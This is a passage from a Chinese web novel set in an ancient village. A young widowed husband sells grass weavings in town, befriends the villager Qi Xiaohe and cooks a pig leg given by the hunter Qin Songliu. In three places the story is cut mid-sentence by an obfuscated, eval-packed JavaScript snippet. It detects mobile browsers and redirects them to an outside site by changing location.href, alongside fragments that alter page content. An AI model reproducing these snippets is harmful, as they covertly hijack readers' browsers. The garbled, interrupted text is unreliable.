多亏这些孩子在这玩闹,草编生意才起了个好头,岑应打算明日给他们一人一个草编。 等岑应卖完所有青团时,巳时已过,除垫子只卖掉一个外,所有草编都卖完了。 蝴蝶草编这些两文钱一个,果子三文、花四文、垫子五文,除去岑应自己送出去的,净赚了六十五文钱,再加上卖青团的三十文,就有九十五文钱了。 岑应欢喜,岑应满足,岑应打算明天多编些来卖。 事不宜迟,岑应收拾好东西往齐家村赶,争取下午能多编些,晚上就能好好休息。 回到齐家村将钱结给梁阿婆,岑应又要摘了好些棕榈叶,照例将叶柄下延部分割出来晾晒。将棕榈叶打理好后,分成编制的大小拿竹篮装好,拿着往山上去了。 岑应没有一点点摸索山况的时间,就打算每天走一段路,走到哪就在哪里做竹编,直到将一整座山跑完。 岑应一直走到一条小河边,发现这段路上多是树木,没有什么特别的。 岑应看了看天色,觉得今天走那么远差不多了,就找了块石头,坐在上面开始做草编。 蝴蝶、小鸟这些小孩子比较喜欢草编岑应打算每样编十个,而小花草编多少未出阁的哥儿、女子喜欢,编十五个应当差不多,至于果子草编岑应打算编六个,垫子的话岑应暂时还不打算编。 心里确定好数量后,岑应动起手来,整个人的注意力就一直集中在草编上,连身边什么时候来了个人都不知道。 齐小河站在离岑应两米远的地方,看岑应的样子那么专注,不好意思打扰他,就一直在旁边站着。齐小河其实从岑应上山开始就看见岑应了,想上前搭话却不知怎么开口,就一直跟着岑应到河边,见岑应停下来正打着腹稿呢,就见岑应坐下来又开始忙活别的事情了。 岑应编啊编,编好一个就往篮子里扔,编的速度也越来越快,毕竟脑子里全是对钱的渴望。 齐小河看岑应编这样快,不由得惊叹岑应的手巧,不像他除了种地做家务什么也不会。可种地做家务这些事,只要是农户人家都不陌生,要是让他去掰扯那么些个草,只怕没一会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15234059|166002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他就扯断了。 岑应编得起劲,断断续续哼着歌,余光好像瞄到点什么,转头过去一看,吓得他马上从石头上下来。 “请问这位郎君何事?”岑应汗,什么时候连身边站了个汉子都不知道,还在那哼歌,丢死人了。 齐小河沉默了…… “郎君?”见人不搭话,岑应又问了一声,心想难道这块石头是他的,刚刚自己坐在上面他不高兴了? 齐小河这才开口,“我不是汉子。” …… 有些冷场了。 齐小河是不知道说什么好,岑应则是被自己尴尬到了。 “不好意思啊,我认错了,不知哥儿是找我有什么事吗?”岑应很久没有那么尴尬了,责怪自己观察一点也不仔细,就这样错认了别人的身份。 “没关系的,其实也没什么事,我就是想找岑夫郎说说话。”齐小河对岑应认错他身份的事情倒没有多介意,反正自己早就习惯了。 岑应有些惊讶,没想到才来这个村子的第二天,就有不相识的人找自己说话了。“这样,一起坐会吧,这块石头还挺大的。”说完岑应坐下,拍了拍旁边的位置。 齐小河坐在了岑应到旁边却又不说话了,他有些不知道怎么找话题。 岑应看他这样子,从篮子里扯了些棕榈叶给他,“我在编草编,你要一起吗?” 齐小河接过草,“可我不会……” 岑应将两只手摊开给齐小河看,里面放着一只蝴蝶。“很简单的,我教你!我们编这个。” “嗯。”齐小河应了一声,岑应就开始编蝴蝶,做一步就停下来,让齐小河跟着他。 许是齐小河真的没有做草编的天赋,花费了许多时间,最后编出来一只松松垮垮的蝴蝶,只要轻轻一扯就会散架。 齐小河有些不好意思,把东西往身后藏。岑应见状也没有非要去看,只夸赞他,“编得很好呀,比我第一次编的时候好多了。” 齐小河觉得岑应是在安慰他,将他自己编的那种丑蝴蝶和岑应的放到一起,“可不好看。” “什么事都得慢慢来,慢慢学,你第一次编成这样真的很好了。”岑应是真的觉得齐小河做得不错,当初他娘教他草编时,那些树叶子都被他搓成了一团。 齐小河被岑应这么一说,心情都明朗了些,看着这只丑蝴蝶,觉得也不是那么丑了。 岑应继续编下一个草编,齐小河则把手里的丑蝴蝶拉结实些,二人安静坐了好一会。 突然,齐小河开口到,“岑夫郎,你是在自己做生意吗?” 岑应一下有点转不过来,但还是点头,“是的,梁阿婆家做青团,我就拿到县上卖,像这些草编,我也是编好了拿去县里卖。 齐小河有些慌乱,“我不知道你编这个要拿去卖钱,打扰你了。” 岑应摆摆手,示意没事,“你来同我说话我开心还来不及呢,毕竟在齐家村我也没认识几个人。” “岑夫郎不介意就好……我这次来主要是……”齐小河有点难以开口,“是……” 岑应没有催促齐小河,而是等他说完。 “我想问岑夫郎能不能教我做生意!”齐小河说完,将他头了下去,不好意思看岑应。 岑应没有拒绝,也没有答应,只是问他,“你怎么会想做生意呢。”岑应看齐小河的样子也不像是困难到要一个未婚哥儿去做生意的样子。 齐小河见岑应没有一口拒绝他,将缘由清清楚楚说了。 “原是这样,可我做的也是小本生意,只怕教不了你什么……”齐小河听岑应这么说,眼神黯淡下去,正想说没关系时,岑应话锋一转,“不过你有什么东西要卖的,可以拿来给我,我替你拿到县里去卖,如果你想自己去也行。” 齐小河一听这话,很是开心,“真的吗?” 岑应点头,“真的,不过你要是我代为售卖,我是要收些钱的,你要是自己去卖,钱就是你自己的。” 齐小河听到这个消息很开心,直冲岑应笑,“那多谢岑夫郎了。” 岑应表示没什么,齐小河就有有些晕乎乎地走了,走的时候没忘记带走那只丑蝴蝶。 回去齐小河很开心,没想到岑夫郎那么简单就答应他了。 等齐小河走后,岑应继续编织着草编,等全部编完已是黄昏,岑应收拾东西就往家去了,回去简单吃了些买的饼子,洗漱洗漱就歇息下了。 15. 虚惊一场 秦松柳板着脸,拉着板车向岑应二人走去。 岑应、齐小河听到了声音,一个探头出来,一个转过身。 秦松柳看清了人,脚步顿了一瞬,但很快调整好步伐。 岑应、齐小河看清来人,忙站起身。有汉子在,他们两个哥儿坐在地上不像话。 “秦郎君。”岑应率先开口,没想到会在这个地方遇到秦松柳。 “岑夫郎,河哥儿。”秦松柳在离二人三米远处停了下来。 “秦郎君是刚刚打完猎下山吗?”岑应有些好奇地看向秦松柳身后的板车。 秦松柳见状闪开身子,露出板车上的山猪。 “这猪真大!”岑应第一次见那么大的活猪,齐小河倒还好,毕竟他家也是养了猪的。 “我运气还算好,这只猪刚成年没多久,没成年的大猪凶猛,好抓些。”其实秦松柳当时也缠斗了许久,他养伤多日,力气没以前那么大了。 “那也很厉害了。”岑应对上他觉得厉害的人或事,眼睛总是亮晶晶的,好似闪着光。 秦松柳有些难以直视这样的目光,错开视线,“现下春天还未过去,林子里的野物正是好动的时候,它们平日虽不太爱来这,但这种时节还是小心为好,你们要是无事就随我下山吧。” 岑应、齐小河听秦松柳这么说也就没多待,拿好东西就随秦松柳一齐下山,秦松柳让他们把东西放到板车上,二人都拒绝了。 到了山脚,三人分别,都走出去一段路了,岑应好似想到些什么,将两只手放到脸上,做喇叭状。 “秦郎君——” “我在齐家村定居了——” “买下了兰花阿婆家的房子——” 秦松柳听到转头,冲岑应点头,随后二人各自回家去。 刚刚在山上遇到岑应他便觉得惊喜,没想到岑应居然定居齐家村了,秦松柳觉得自己的运气有些好。 秦松柳拉着板车,还未走到家门,就看见秦芳坐在门口等他。 秦松柳未在山上多待,也有秦芳的原因。秦松柳刚回家时,秦芳不见有什么情绪,哪怕是秦松柳养病期间,秦芳除了照顾他外也照常出去玩。可等秦松柳病好了,收拾家伙要上山打猎了,秦芳便在家一直哭。 那日秦芳嘴里啊、啊哭着,眼泪都流进嘴里,秦松柳十分心疼,可日子还要过下去。 秦松柳单膝跪下,同秦芳直视,“哥哥上次是听了坏人的话,和坏人一起去才受了伤。这次哥哥自己去,芳儿难道不相信哥哥吗,芳儿不是觉得哥哥最厉害了。” 秦芳并不理他,但也不号哭了,秦松柳知道她这是听明白了自己的话。 “哥哥就去几天,到时不管打没打到东西,都回家来。”秦松柳摸了摸秦芳的头,他们两兄妹从小相依为命,感情是很好的。 秦芳沉默片刻,才轻轻点了头。秦松柳知道秦芳点头答应了,就不会再闹,将人托付给刘娘子,柯姐儿见秦芳不高兴,还拿着漂亮的花绳给秦芳扎辫子。 时间回到现在,拉着板车的秦松柳还未走到家门,就被秦芳发现了,秦芳哒哒跑来,一把抱住秦松柳的腿,秦松柳看她这样,心里很是熨帖。 “芳儿看,大猪。”秦松柳双手穿过秦芳腋下,将人举了起来。 秦芳拍了拍秦松柳的手,示意他要稳重一点。 秦松柳看懂了她的意思,笑骂一句,“臭丫头。” 将板车拉回家去,秦松柳先提了一只野鸡到刘娘子家,刘娘子推脱不掉只好收下。送了野鸡,秦松柳去找村里的屠户收猪,秦松柳是剥皮、鞣制皮子的好手,但猪是不怎么会杀的,与其自己乱糟蹋了,不如卖给屠子。 齐屠子到秦家一看,给了三两二钱的价格。屠子收猪,一般家养猪一头约莫给到四、五两,越肥价越高。山猪没有家养的味道好,一般是二到三两,秦松柳这只山猪要小些,大概一百五十斤。好在刚成年不久,肉没有那么老、那么膻,卖得也好些。 秦松柳央齐屠子给他留两只猪腿,齐屠子应了,拉走了猪,说明日再杀。最后按一斤猪肉二十文的价格,给秦松柳结了二两四钱银子。 其中一只猪腿秦松柳打算晚些煮了,自己同秦芳吃,另一只打算到时候用大叶子包好,提去给了岑应。 休整一晚,秦松柳第二日就打算到县中卖掉剩下的野鸡。他到村口等了好一会,还是没等到岑应,就独自出发县中了。 秦松柳打的这些野鸡成日在山中跑,吃的都是果子、叶子,加上还都是活的,能要得上价。来到县中,秦松柳先到了老主顾家中,老主顾是个颇有家底的商户,平日最爱野味这些东西。 那位管家见秦松柳,还感叹许久未见他,秦松柳并未多言,两人寒暄几句,管家的问野鸡如何卖。 “七文钱一斤,都还是活的,精神头很好。”秦松柳将野鸡倒拎起来,给那管家看。 管家的看这些野鸡精神确实不错,还能养几天,就全都要了。 总共四只鸡,大的那只六斤,小的三只有四斤出头,秦松柳按四斤算了,收了管家的一百一十二文。 管家的就喜欢同秦松柳这样的人做生意,报价时他照实报了,多出来的钱就进他自己的口袋。“秦猎户下回还有好东西可得先往我们这送啊。” “这是自然,小弟还得您照顾我生意呢。”说完拱拱手,不再多待,上街去采买粮食去了。 秦家是不种地的,秦父常走镖,家里又没别的壮劳力,因此秦家的粮食都是从粮食铺子里买回去的,到了秦松柳这也是如此。 秦松柳买了白面、白米各一斤,共六十文。又买了糙米两斤,共三十文,刚到手的一百多文几乎花光了。而后秦松柳到街上转了两圈还是没看到岑应,秦松柳自己都纳闷了。 找不着人秦松柳也就不多待,带着买好的粮食就回村子去了。 而今日秦松柳总看不到岑应,是有原因的。 今晨岑应等了许久都不见齐小河来,因着昨日两人约好了,岑应怕人有什么事耽搁了,就同刘婶子说今日不坐车了,就往齐小河家去了。 就在岑应往齐小河家去的时候,秦松柳正好在村口等他,两人就这么错过了。 岑应按梁阿婆说的,找到齐小河家,正抬手敲门,门忽然打开了,里面走出来一个年轻娘子。 岑应想,按齐小河说的,此人应是他的嫂子。“娘子好,我找河哥儿,不知他可在家。” 陈春会斜了岑应一眼,双手抱臂。“你就是那寡夫郎?” 岑应不太喜欢陈春会打量他的眼神,好像他是什么低微的东西,但他来的目的是找齐小河,忍了忍心头的不悦,还是礼貌开口。“正是,不知河哥儿可在家,我找他有些事。” 陈春会眼珠子一转,上前挽住岑应的手。“河哥儿现下不在家,他素来野,我也不知道他在哪儿。”说着又贴近了些,“你同嫂子说说,河哥儿昨日赚了多少钱。” 岑应将陈春会的手扒开,“这事我怎么会知道,既然河哥儿不在家,我就先走了。” 言毕,怕陈春会继续扒拉他,岑应脚步飞快。 “切。”陈春会翻了个白眼,好在她早就将那吃白饭的支出去。 未见齐小河,岑应便不打算再找了,再找下去就耽搁生意了。刘婶子已经出发,岑应今日走着去县城中。 岑应自个走路时不想东西就会发呆,眼睛看着路,脑子在放空。 岑应的思绪越飞越高时,从远处传来的喊声将他的思绪一把扯回来塞进脑袋里。 岑应回头,有人在狂奔,背后的筐子一颠一颠的,是齐小河。 岑应停下脚步,有些害怕齐小河的菜和果子被他自个颠飞。 齐小河近了岑应才停下来,手撑着双膝,呼哧呼哧喘着气。“我……我来了……” 岑应拍拍他的背,给他顺气,“今儿去哪了,我找你家去,你嫂子说你不在。” 齐小河气顺了些,“她……我……我出门前她和我说……”齐小河咽了口唾沫,“说田里的垄堵了,好些地方遭水淹了,我去看了,没有地方堵,回家后她又拦着我,所以耽搁了。” “不好意思啊岑夫郎,总给你添麻烦。”齐小河说着去拿岑应手里的东西,想让他轻松些。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15234061|166002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “诶,不用不用,这也没多重,我们快些走,不然再晚些大家都买好菜了。”岑应没对陈春会言语什么,毕竟陈春会是齐小河的亲嫂子,自己同齐小河虽相处得不错,但也才认识几天。 齐小河点头,调整了下呼吸同岑应往县城去。 今日到县城有些晚了,以往摆摊的位置已经有人占了,二人只能另寻摊位。寻了好一会,二人才看到一个人流量不错的位置,可岑应看着旁边的摊主,不是很想过去。 那高颧骨妇人看见岑应盯着她旁边的空位,将自己东西往那挪了挪,用眼神挑衅岑应。 岑应:…… “怎么了。”齐小河看岑应脸色复杂,小声问他。 “我同那人有些嫌隙,要不我们换个地方吧,免得那婶子闹事影响生意。”岑应扯了扯齐小河的袖子。 “那你想要在这摆摊吗?”齐小河再小声问。 “如果旁边不是这个人在,我是很想在这的,毕竟人多,东西好卖。” 齐小河点点头,“那我不让她闹事就好了。” 岑应还没想明白齐小河是什么意思,齐小河就快步走过去,将高颧骨妇人的东西塞回她自己的摊位。 高颧骨妇人正想发作,被齐小河沉声打断。“高婶子,这绣活真精巧,不知郑夫郎最近如何。” 高颧骨妇人愣了会,眼神不断闪躲。“你是谁。” “婶子不必管我是谁,只要知道我同我朋友要在这摊子做生意就好了。”言毕,齐小河也不去管那高婶子,脸上挂起和煦的笑容,冲岑应招手,唤他过来。 岑应远远望着,只看到齐小河同那高颧骨妇人说了几句话,那高颧骨妇人脸色变换几下就回自己的摊位前了,也不再鼻子不是鼻子,眼睛不是眼睛。 岑应走过去,好奇问齐小河,“你同她说什么了。” 齐小河看高婶子还往这看,“我一会同你说。” 高梅看岑应过来摆摊子,自己还不能做什么,一口牙都要咬碎了。她不断打量着齐小河,脑子里不断回想着自己在哪见过这个汉子,可就是想不起来。 东西摆好,齐小河还没来得及同岑应说,就不断有客人找上门。 有的是冲齐小河的菜来的,昨日买了的人家再回头来买,顺便带些果子。没买的人家看别人都涌去买,也前来凑热闹。 有的是冲岑应的草编来的,草编最近在孩子间盛行,没有的孩子见伙伴都有,回家便同父母闹着要,能住在县中的人家,大多不差这几文钱哄孩子。 今日的生意是真的不错,连没什么人问津的草编垫子都卖了出去。生意忙起来,二人也顾不得别的,也就都没发现高梅嫉妒的眼神,草编同布娃娃的受众都是以孩子为主,大家都去买草编,她的生意不就冷了。 高梅无论怎么想,都没能从记忆里挖出齐小河的身份。她有心闹事,又害怕齐小河认识她那侄子和侄夫郎,怕他知道些什么乱说。 岑应二人一直到东西卖光才得闲,不过二人都不觉得多累,恨不得天天如此。 今日生意如此不错,岑应建议在县中吃了午饭再回,齐小河想到他家中的嫂子,答应了。 在岑应的带领下,二人前往一家小食铺,这也是岑应以往在街巷中走动听人说起的,说是便宜、量大、味好这三样全占了。 二人到了店中,铺子里就剩下一个位置,岑应快走几步坐下,招手让齐小河过来。 “这儿生意真好。”齐小河望着店里,发现真是一个空位都没有。 “看来这家食铺的菜是真的很不错。”岑应还是第一见如此热闹的食铺。 二人点了三张饼子,一个野菜汤和一个炒蛋。又能填饱肚子,还有油水,总共才二十文,在县城中这个价格确实很便宜。 菜上齐后,两人纷纷开动。 饼子是粗面掺了玉米面,擀开后贴在热锅边,外边是一层焦脆的皮,里面是厚实软乎面心。野菜汤是好几种不同的野菜拿水一滚,味道清甜。鸡蛋用油炒了,大概是五个蛋的量。 二人塞了些吃的进肚里,胃里舒服了,才说起关于那妇人的事情。 16. 炖猪腿儿 “这事我还是一年前多知道的……”齐小河顿了顿,眼睛向上看去,想了一会。 “对,一年半前,同我娘去看望我外祖。那婶子叫高梅,与我娘是同村人。当时是,几个家里妇人、夫郎们唠闲话,就有人说到了郑夫郎,说觉得他日子过得当真是不错的,丈夫在外参军,每年都往家里寄银子。” 岑应掰了块饼塞进嘴里,“然后呢?” “然后我叔母,同她们是邻居,就说有次夜里听到高婶子同郑夫郎争吵。说,郑夫郎的郎君已经许久不往家里寄钱了,怕是早就死在了战场上。我叔母说,那段时间经常听到高婶子骂郑夫郎,高婶子拿来卖的那些绣活也是郑夫郎做的。” “高婶子同郑夫郎是婆媳吗?”岑应问。 齐小河摇头,“不是,是侄夫郎。高婶子的亲生子很小的时候好像就夭折了,我没见过。郑夫郎的郎君则是小时候家里养不起,被他爹娘送给了高婶子家” “这样啊……”岑应咬着饼子,不知道想什么。 “我叔母说,高婶子骂郑夫郎那些话两边邻居都知道。只是不知道为什么,在村里人面前还是那幅待郑夫郎很好的样子。所以我刚刚才拿那些话来堵她,让她胡乱猜想,就没有功夫管我们了。” 岑应有些想不明白,为什么是亲人,却要被如此苛责。他是这样,齐小河也是这样,这个郑夫郎也是,难道一家人和和美美过日子不行吗。 二人没有再继续这个话题,他们不知道的是郑夫郎的郎君——孙渔,虽很久没往家中寄钱,但每月都可前往县衙中领一笔抚恤金。 当朝虽结束了内忧,但外患仍在。孙渔当初成亲不过三月,便接到了一封信,让他随军前往边关去,一走便是好几年。孙渔起初还往家里送信寄钱,到后头就送钱了,这些钱都被高梅拿在了手里。看在这些钱的份上,高梅对郑锦倒还算不错。 可孙渔有段时间了无音信,再有消息来时是几名官差上门来,说孙渔战死,让他家人每月往县衙去领二两的抚恤金。 高梅去领时,官差问孙渔记录在册是成了亲的,为何不是他夫郎前来取钱。高梅狠掐了自己大腿一把,挤出两滴泪来,只说郑锦听闻孙渔战死的消息就病了,连床都下不来,家里就靠这点钱买药吃。 官差听他这么说,又看孙渔的身份册子上也写明了高梅的身份,就将钱给她了。高梅问官差,孙渔是为何战死的。 官差说他们也不知,身份册子上并未写明,上头也只是说每月给孙渔家中发抚恤金。 高梅回家只对郑锦说军中找不到孙渔的尸体,官差说要想找到尸首得花钱让人去找,很贵。于是郑锦便没日没夜地做绣活卖钱,期望夫君有朝一日得以还乡。 高梅贪心将钱瞒下,还坑郑锦做绣活的钱也是进了她口袋。 当朝征兵多是由官府贴布告,由官差一户户人家去征人,且伤、亡士兵的抚恤金也是一次发放的。高梅对这些知不知情,只有她自己知道了。 这件事最后如何都是后话了。 吃饱喝足,齐小河结了饭钱,二人结伴回齐家村。 岑应难得地没怎么说话。他不说话,齐小河自然也不会主动搭话,就这么沉默着回到齐家村,互相道别。 岑应回到家中,瘫在床上。从他离开安山村来,今天是第一次被情绪支配了行动。 岑应自己也不知道在烦闷什么,但就是烦。岑应手脚并用,冲空气乱打一通,想把这些烦打出他的身体,想把自己赚钱的动力打出来。 岑应拍拍自己的脸,觉得自己不能这样,钱还是要赚的,冬衣、棉被还在等着自己把它们带回家。这样想着,岑应一下子猛坐起身,一步两脚三下蹦到院子中,扯了一些棕榈叶,开始编起来。 编啊编,编啊编,越编越丑…… “啊——干什么啊,干什么,岑应你还赚不赚钱了!!!?”岑应将丑草编往旁边一丢。 “岑?夫郎?”院子外突然传来声音,岑应一下子僵住,自己发疯可以,别人知道不行。 岑应理了理头发,确定自己穿戴整齐才去开了门。 秦松柳站在门外,手上提着猪腿,见岑应开门静了一会才开口。“昨日打的猪杀好了,割了条腿来送与岑夫郎吃。” 岑应见秦松柳没什么异样,以为他没听到刚刚的声音,心下安定。“这么大的猪腿呀,这可使不得,我怎能白吃秦郎君的东西。” “夫郎救我一命,一条猪腿怎么吃不得。”秦松柳目光真诚,好似岑应只要开口,一整头猪都给他送来。 岑应还是不想收,这条猪腿割得实在,那么大一块肉几百文是要的,“秦郎君,真要不得,这太多了……” “夫郎还是收下吧,这是我的一点心意,我没什么拿得出手的,只打猎这一本事还不错。”秦松柳大有岑应不收他不走的架势。 “好吧,不过你等等。”岑应回屋去抱了这些天攒下来的棕榈叶柄,“秦郎君将这些拿着,你常年打猎难免会有伤痛,这棕榈叶柄有止血之效,秦郎君拿去用。” 秦松柳单手接过这捆棕榈叶柄,岑应看他这样还挺羡慕的。自己要用抱的,别人单手就揽住了。 “那这猪腿,就请岑夫郎收下了。”秦松柳见岑应不再推拒他的东西,心里高兴。觉得日后自己可以多给岑应送些猎物,让岑应看到他是个有本事的汉子。 岑应单手握着一端,没想到秦松柳刚松手,他手上没准备,差点让猪腿掉了,连忙用双手拿着。“我平日力气没那么小……”岑应觉得有些尴尬。 “岑夫郎刚刚只握着那点地方,确实使不上力,下次要拿中间的位置。”秦松柳真心实意给出建议,握着末端位置太考验手腕力量了。 “原是这样,我刚刚应该想到的。”岑应想,看来不是自己力气太小。 俩人一个站在门内,一个站在门外,就这样聊了起来。 秦松柳说他今日也去县中,问路上怎么没遇到岑应。 今早发生的事情到底是齐小河的私事,岑应没多说,只说突然有事情耽搁了。 “如此这般……”秦松柳还以为是他同岑应没缘分呢,每每自己去找他都找不到人。 “怎么,秦郎君是寻我有什么事吗?”岑应不明,秦松柳大早上找他做什么。 秦松柳轻咳一声,“也没什么,就是我也要去县中卖野物,想和夫郎结伴而行,安全些。” 岑应觉得进宝县治安还是很好的啊,而且他平日里都是同刘婶子去县城,更别说最近还有齐小河一起。但他也没驳了秦松柳的好意,将自己平日几时去县中,几时回来告诉了秦松柳。 “秦郎君以后若还是往县城中去就唤我们,我们三人互相也有个照应。” 秦松柳点头,以后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15234062|166002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己就不用像无头苍蝇一样到处去寻人了。 俩人又站在门口聊起来,路过的人还纳闷呢,聊什么非得站在门口聊。 送走秦松柳后,岑应心情好多了。不过那么大的猪腿,岑应也不会做。为了避免浪费,思考了片刻还是觉得拿去梁阿婆家,让阿婆教他做。 岑应决定好就执行,拎着猪腿和一些棕榈叶就往阿婆家去。 梁阿婆看到那么大条的猪腿还挺惊讶,“那么大一条腿从哪来的。” 岑应说是秦松柳拿来的,梁阿婆直说这个孩子是懂感恩的。 “阿婆,你教教我怎么做这猪腿,做好了我们一起吃,也让阿婆你们尝一尝我的手艺。”岑应拉着梁阿婆,冲她撒娇,岑应这些日子同梁阿婆他们相处得越来越好了。 “你这哥儿。”梁阿婆觉得岑应有时候都不像成了亲的夫郎,总是那么活泼爱闹。 现下还有一个时辰到饭点,这时候开始做,等做好了刚好可以吃饭。 梁阿婆点起火燎猪毛,一边燎一边和岑应说,“这猪身上无论什么部位,都要烧一烧毛,这样吃起来才不扎嘴。” 岑应一边听,一边给梁阿婆烧火。梁阿婆燎了一面,将另一面交给岑应来撩,听多少都不如自己动手做一次。 岑应刚接过手有些小心翼翼,生怕将猪腿燎坏了,后来在阿婆的指导下才放开手去做,等燎完岑应都出了身薄汗。 猪腿燎好了,梁阿婆接了盆水将猪腿放进去,用薄竹片刮着上边的黑灰,一边刮一边用手舀水冲开黑灰。将整只猪腿都刮干净,又过了一遍水才开始做,岑应没想到做只猪腿要做那么多准备。 洗好猪腿,岑应自告奋勇接下了剁肉的工作,可剁了好几下都不得门道,碎骨沾着肉四处飞溅。梁阿婆在旁边直笑,大宁小莲也跟着笑。 岑应有些不好意思,“别笑我了……” “夫郎你这样,要是剁不开这骨头,将周围的肉细细剔下就是,那骨头拿起熬汤也是很鲜美的。”岑应不下厨,第一次剁不开骨头是正常的,梁阿婆教他一个不用剁骨头的法子。 岑应听了,慢慢将肉剔下来,切成大小相同的块。在梁阿婆的指导下,岑应将剃干净的骨头扔进陶锅里熬汤,点个小灶子扔在一旁就是。 猪腿肉做起来则要麻烦些,岑应一开始怕炒糊了,让大宁将火烧小些。等锅热得冒了点烟,岑应将猪腿肉倒进去慢慢翻炒。 梁阿婆见岑应用小火炒着也没说什么,等日后岑应做饭的次数多了,就能放开手去做了。 将猪腿肉翻炒变色,岑应加了些梁阿婆做的豆子酱,这豆子酱是梁阿婆每回买粗盐时都会做的,有咸味又吃得久。 岑应一点点倒,一边看梁阿婆,梁阿婆说可以了立马停手,默默将这个用量记在心里。 将豆子酱和猪腿肉翻炒均匀,加了两瓢水进去炖煮,就这样放着就好了。 “等炖到肉能用筷子轻轻戳进去就好了。”梁阿婆看了看锅里,确定水够量了不会糊锅,就将锅盖盖上。 岑应还挺期待的,毕竟从某种意义上来说这是他出生以来做的第一道菜。 大宁小莲也期待,是对肉的期待。 一大两小排排坐,一动不动守着锅。梁阿婆看了一会,就去给齐明熬药了,家里有了点钱,给齐明抓的药也就更好些了,齐明身体也渐渐有些起色了。 17. 合伙种地 太阳逐渐西移,锅里的肉咕嘟嘟冒着香气。 掀开锅一看,猪腿肉炖煮出了油汁,酱色同油汁裹着肉,让人一看就肚子直叫。 梁阿婆用筷子夹了几块肉吹了吹,塞到孩子嘴里。三个孩子顾不得烫,一边往外呼气,一边嚼肉。 “呼郎,好次……”小莲嘴里塞得鼓鼓囊囊,说话都不太清楚了。 “好吃咱就多吃点,把我们小莲吃得白白胖胖的。”岑应用平时包青团的叶子包肉递给俩孩子,这样吃起来方便也不脏手。 两个孩子吧唧吧唧吃着,岑应回了趟家拿了两个碗来装肉,打算给秦松柳送去。将竹篮底下垫了块草编垫子,岑应提着东西稳当当往秦家去了。 一路上,遇到三三俩俩结伴回家的村民,岑应同他们打了招呼,算是认认人。被岑应打招呼这些人也都回应了,只是有些人热络,有些人冷淡。 到秦松柳家,秦芳和柯姐儿正在门口翻花绳,她们玩得起劲,柯姐嘴里还嘟囔着,“不对、不对,要这样。” 岑应开口唤她们,“芳姐儿,柯姐儿” “岑夫郎——”柯姐儿声音拉长,注意力全在手里的花绳上。“大柳哥哥在家,你叫他,你叫他。” “好,你们玩。”秦家大门未关,岑应敲了敲,又唤了两句秦郎君,屋内并没有应。 岑应有些不知道该继续喊人,还是把东西给秦芳。柯姐儿一幅见怪不怪的模样。“你直接进去,直接进去,大柳哥哥应该是在厨房没听着,爹叫他不应,都是直接进去的。” 岑应摇摇头,到底是孩子,还不知道哥儿和汉子的区别。 村子里大多数人家厨房在前边院子里,露天而建。而秦家是在后院专门起了房屋做厨房,是秦父当初要求建的。 秦家进门就是一个小院子,秦父在世时就爱在这打拳。穿过前院就是两面通的堂屋,过了堂屋才是秦家人住着的地方。 一个比前院大些的空地,打了一口水井,还栽了棵杏子树,总共五间房,全是青砖房。当初秦家建这房子花了许多钱,为了往后的日子做准备,以至于后边秦父发生意外,并没有给秦松柳兄妹留下什么钱来。 岑应又叫两声,听到里头深深传来一句就来。 秦松柳正在后院劈柴,咣咣两声是木头裂成两半掉落在地的声音。秦松柳劈了大半,停下来用布巾擦擦汗,隐隐听到有人喊他,凝神再听是岑应。 秦松柳赶忙应声,到水缸旁把布巾打湿了,将脸上的汗全擦了去,这才往前院去。 岑应听到回应后在门口站了一会,一个汉子从里边快步走出来,衣服上还带了几滴水渍。 看来刚刚是在忙。 岑应这样想着,连他自己都没发觉脸上挂了笑。岑应双手握着提把,站得直直的,双脚并在一起,好不乖巧。 秦松柳映入眼帘的就是这幅画面,心脏高高提起来又重重坠下去。“岑夫郎怎的来了,我刚刚在劈柴未能及时出来,岑夫郎见谅。” “也没什么事,你拿来的猪腿我炖了,许是肉质很好,炖出来很香,我就想着给你送些来。”岑应双手将篮子递去,“是用梁阿婆家的豆子酱炖的,味道很好的。” “好……多谢岑夫郎了。”秦松柳将篮子接过,“那等晚些我将东西同岑夫郎送回去。” 将东西送到,岑应便没有多待,让秦松柳得了空再把东西送回来就是,不用着急。秦松柳应是应了,但听不听就不知道了。 回去的路上岑应没想到会碰到齐小河,只见齐小河眼睛通红,眼睛些许湿润,看方向是要往山上去。 “河哥儿。”岑应快步上前,“这是要去哪儿。” 齐小河见着岑应,用手背擦了擦眼睛,“我到山上摘果子去。” 岑应看他这样就知道有事,可这不是能说话的地方,便拉着齐小河往他家去。“没什么事的话到我家去吧,晚饭我多做了些。” 齐小河想拒绝,岑应不给他机会,硬是拉着他回了家。将人带到家里,岑应让齐小河等他会,他去梁阿婆家拿晚饭。 